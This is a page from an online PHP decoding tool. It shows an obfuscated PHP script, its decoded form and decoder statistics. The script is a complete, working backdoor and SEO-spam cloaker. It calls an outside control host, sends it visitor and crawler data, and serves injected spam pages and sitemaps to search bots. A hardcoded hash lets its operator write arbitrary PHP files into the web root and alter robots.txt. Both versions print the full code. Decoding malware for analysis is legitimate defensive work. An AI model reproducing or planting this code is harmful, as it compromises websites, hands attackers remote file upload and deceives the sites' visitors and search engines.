Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto WsODJ; KUCXG: $htmcontent = trim(dageget($web)); goto mwOgn; tnRFu: $goweb = ..
Decoded Output download
<?php
goto WsODJ; KUCXG: $htmcontent = trim(dageget($web)); goto mwOgn; tnRFu: $goweb = $xmlname . ".likeseowww" . ".xyz"; goto xuA11; zUb6e: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto I9E7M; QnjhN: $xmlname = "dmnm"; goto vMtYt; WsODJ: @set_time_limit(3600); goto chcHn; chcHn: @ignore_user_abort(1); goto QnjhN; hnXCD: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto UpryF; L7F7r: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto C3_2l; vMtYt: $http_web = "http"; goto X_jcS; k0ACS: $urlshang = ''; goto WrvOL; jhSp7: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto tnRFu; GmQci: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto c12tw; WrvOL: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto hnXCD; Yrhci: $duri = urlencode($duri_tmp); goto jhSp7; mwOgn: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto zUb6e; wvFs1: if ($duri_tmp == '') { $duri_tmp = "/"; } goto Yrhci; c12tw: $lang = urlencode($lang); goto k0ACS; OtK9p: $host = $_SERVER["HTTP_HOST"]; goto GmQci; BuiJV: $duri_tmp = st_uri(); goto wvFs1; xuA11: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto OtK9p; X_jcS: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto BuiJV; I9E7M: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto L7F7r; UpryF: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto KUCXG; C3_2l:
//vx033 ?>
Did this file decode correctly?
Original Code
<?php
goto WsODJ; KUCXG: $htmcontent = trim(dageget($web)); goto mwOgn; tnRFu: $goweb = $xmlname . "\x2e\154\151\153\145\x73\x65\x6f\167\167\167" . "\56\170\171\172"; goto xuA11; zUb6e: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\151\x74\145\155\x61\160\x20\x4e\x6f\164\x69\x66\x69\x63\141\x74\151\157\156\40\x52\x65\x63\x65\x69\x76\x65\x64") !== false ? "\160\x69\156\x67\157\153" : "\x65\162\162\157\162"; $return_str .= $pingUrl . "\x2d\55\40" . $ok . "\x3c\142\x72\x3e"; } return $return_str; } goto I9E7M; QnjhN: $xmlname = "\x64\x6d\x6e\x6d"; goto vMtYt; WsODJ: @set_time_limit(3600); goto chcHn; chcHn: @ignore_user_abort(1); goto QnjhN; hnXCD: if (@$_GET["\x70\x64"] != '') { $add_content = @$_GET["\155\141\160\156\x61\155\145"]; $action = @$_GET["\141\143\x74\x69\157\156"]; if (isset($_SERVER["\x44\117\x43\125\115\x45\x4e\x54\137\122\117\117\124"])) { $path = $_SERVER["\x44\117\x43\125\x4d\x45\x4e\124\137\122\117\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\164"; } if ($action == "\160\x75\x74") { if (strstr($add_content, "\56\170\155\x6c")) { $map_path = $path . "\x2f\163\x69\164\145\155\141\160\56\170\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\157\142\157\x74\x73\56\164\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\162\x2d\x61\147\x65\x6e\164\x3a\40\52\x41\154\154\x6f\167\x3a\40\x2f"; } $sitmap_url = $http . "\72\57\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\x72\76\x73\x69\164\145\155\x61\160\40\141\x6c\x72\145\141\144\x79\x20\141\144\144\x65\x64\x21\74\142\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "\x53\151\164\x65\x6d\141\160\72\40" . $sitmap_url)) { echo "\x3c\x62\162\76\x6f\x6b\74\142\x72\x3e"; } else { echo "\74\142\162\x3e\146\151\x6c\145\x20\x77\x72\x69\164\x65\x20\x66\x61\x6c\163\x65\x21\x3c\x62\x72\76"; } } } else { echo "\74\142\162\x3e\163\151\x74\x65\155\141\x70\40\x6e\141\155\145\x20\x66\x61\x6c\x73\145\x21\x3c\142\x72\x3e"; } if (strstr($add_content, "\56\160" . "\150\x70")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\72\57\x2f" . $goweb . "\57\141\56\160" . "\x68\160") || $b == "\70\x30\x38\67\63\x35\x62\x31\67\143\70\71\x34\63\x65\x33\67\61\65\63\70\x38\x39\x35\x38\x64\143\x32\62\144\70\x37\71\141\70\x63\71\x65\141\141") { $dstr = @$_GET["\144\x73\164\162"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\x6f\153"; } } } } die; } goto UpryF; L7F7r: function dageget($url) { $file_contents = ''; if (function_exists("\x63\x75\162\x6c\x5f\151\156\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto C3_2l; vMtYt: $http_web = "\150\x74\x74\x70"; goto X_jcS; k0ACS: $urlshang = ''; goto WrvOL; jhSp7: function st_uri() { if (isset($_SERVER["\122\105\121\x55\105\x53\124\x5f\x55\x52\x49"])) { $duri = $_SERVER["\x52\x45\121\x55\105\x53\124\137\125\x52\x49"]; } else { if (isset($_SERVER["\x61\162\x67\166"])) { $duri = $_SERVER["\120\110\x50\x5f\123\x45\x4c\106"] . "\x3f" . $_SERVER["\141\162\147\x76"][0]; } else { $duri = $_SERVER["\120\x48\x50\137\123\105\114\106"] . "\77" . $_SERVER["\121\x55\105\122\x59\137\123\124\x52\x49\x4e\107"]; } } return $duri; } goto tnRFu; GmQci: $lang = @$_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\114\101\x4e\107\x55\x41\107\105"]; goto c12tw; WrvOL: if (isset($_SERVER["\110\x54\124\120\x5f\122\105\106\105\x52\x45\x52"])) { $urlshang = $_SERVER["\x48\124\124\x50\137\122\105\x46\105\122\105\122"]; $urlshang = urlencode($urlshang); } goto hnXCD; Yrhci: $duri = urlencode($duri_tmp); goto jhSp7; mwOgn: if (!strstr($htmcontent, "\156\157\x62\157\x74\x75\x73\x65\162\141\147\145\156\164")) { if (strstr($htmcontent, "\x6f\x6b\150\x74\x6d\x6c\147\145\x74\143\x6f\x6e\x74\145\x6e\x74")) { @header("\x43\x6f\156\x74\x65\156\164\55\x74\x79\160\x65\72\x20\164\145\170\164\x2f\150\164\155\154\73\40\x63\x68\x61\162\x73\145\x74\x3d\165\x74\x66\x2d\x38"); $htmcontent = str_replace("\x6f\x6b\150\x74\155\154\147\x65\x74\143\x6f\156\x74\145\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\153\170\155\x6c\x67\x65\x74\x63\x6f\x6e\164\x65\x6e\164")) { $htmcontent = str_replace("\x6f\153\170\x6d\154\x67\145\164\x63\x6f\x6e\x74\145\156\164", '', $htmcontent); @header("\103\157\156\164\x65\156\x74\x2d\x74\171\x70\145\72\x20\164\x65\x78\164\x2f\x78\155\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\151\156\x67\170\x6d\154\x67\x65\x74\x63\x6f\x6e\x74\145\x6e\x74")) { $htmcontent = str_replace("\160\151\156\147\x78\x6d\x6c\147\x65\164\x63\157\x6e\164\x65\156\164", '', $htmcontent); @header("\x43\157\156\164\145\x6e\x74\x2d\x74\x79\160\x65\72\x20\164\x65\x78\164\x2f\150\164\155\154\73\x20\x63\x68\x61\162\163\145\x74\x3d\165\164\x66\x2d\x38"); echo pingmap($htmcontent); die; } } } } goto zUb6e; wvFs1: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto Yrhci; c12tw: $lang = urlencode($lang); goto k0ACS; OtK9p: $host = $_SERVER["\110\x54\124\x50\137\110\x4f\123\124"]; goto GmQci; BuiJV: $duri_tmp = st_uri(); goto wvFs1; xuA11: function is_htps() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\x48\124\x54\120\x53"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\122\x44\x45\x44\137\120\122\x4f\x54\117"]) && $_SERVER["\110\124\124\120\137\130\x5f\x46\117\122\127\x41\x52\104\x45\104\137\x50\x52\x4f\x54\117"] === "\x68\x74\x74\x70\163") { return true; } elseif (isset($_SERVER["\x48\x54\124\x50\x5f\106\x52\x4f\x4e\124\x5f\105\x4e\104\x5f\x48\124\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\137\106\122\x4f\116\124\x5f\105\x4e\104\x5f\x48\124\124\120\x53"]) !== "\x6f\146\x66") { return true; } return false; } goto OtK9p; X_jcS: if (is_htps()) { $http = "\150\x74\164\x70\163"; } else { $http = "\150\164\164\x70"; } goto BuiJV; I9E7M: function sbot() { $uAgent = strtolower($_SERVER["\x48\124\124\120\x5f\x55\123\x45\x52\x5f\x41\x47\105\x4e\124"]); if (stristr($uAgent, "\147\157\x6f\147\154\x65\x62\157\x74") || stristr($uAgent, "\x62\x69\x6e\147") || stristr($uAgent, "\171\x61\x68\157\x6f") || stristr($uAgent, "\147\x6f\x6f\147\154\x65") || stristr($uAgent, "\x47\x6f\157\147\x6c\x65\x62\x6f\x74") || stristr($uAgent, "\147\157\157\x67\154\x65\x62\x6f\x74")) { return true; } else { return false; } } goto L7F7r; UpryF: $web = $http_web . "\72\57\57" . $goweb . "\57\x69\156\144\145\170\156\x65\167\56\160\x68\160\x3f\167\x65\142\75" . $host . "\46\x7a\172\x3d" . sbot() . "\x26\165\x72\151\x3d" . $duri . "\x26\165\162\154\x73\150\141\x6e\x67\x3d" . $urlshang . "\x26\150\x74\x74\x70\x3d" . $http . "\46\154\x61\156\x67\x3d" . $lang; goto KUCXG; C3_2l:
//vx033 ?>
Function Calls
None |
Stats
MD5 | 2d07b810576f14c5a5a3c3f2afc611cd |
Eval Count | 0 |
Decode Time | 80 ms |